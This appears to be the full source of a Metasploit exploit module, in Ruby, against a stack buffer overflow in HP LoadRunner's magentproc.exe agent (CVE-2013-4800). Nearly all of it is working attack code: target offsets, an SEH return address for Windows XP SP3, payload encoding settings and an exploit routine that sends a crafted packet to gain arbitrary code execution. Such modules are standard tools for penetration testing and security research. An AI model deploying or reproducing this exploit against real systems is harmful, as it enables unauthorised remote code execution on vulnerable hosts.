79 lines
2.2 KiB
Ruby
79 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP LoadRunner magentproc.exe Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The
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vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending
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a specially crafted packet, an attacker may be able to execute arbitrary code.
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},
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'Author' =>
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[
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'Unknown', # Original discovery # From Tenable Network Security
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-4800'],
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['OSVDB', '95644'],
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['ZDI', '13-169']
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'SSL' => true,
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'PrependMigrate' => true
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},
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'DefaultTarget' => 0,
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'Targets' =>
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[
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[
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'Windows XP SP3 / HP LoadRunner 11.50',
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{
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# magentproc.exe 11.50.2042.0
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'Offset' => 1104,
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'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
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'Crash' => 6000 # Length needed to ensure an exception
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}
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]
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],
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'DisclosureDate' => 'Jul 27 2013'))
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register_options([Opt::RPORT(443)])
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end
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def exploit
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req = [0xffffffff].pack("N") # Fake Length
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req << rand_text(target['Offset'])
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req << generate_seh_record(target.ret)
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req << payload.encoded
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req << rand_text(target['Crash'])
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connect
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print_status("Sending malicious request...")
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sock.put(req)
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disconnect
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end
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end
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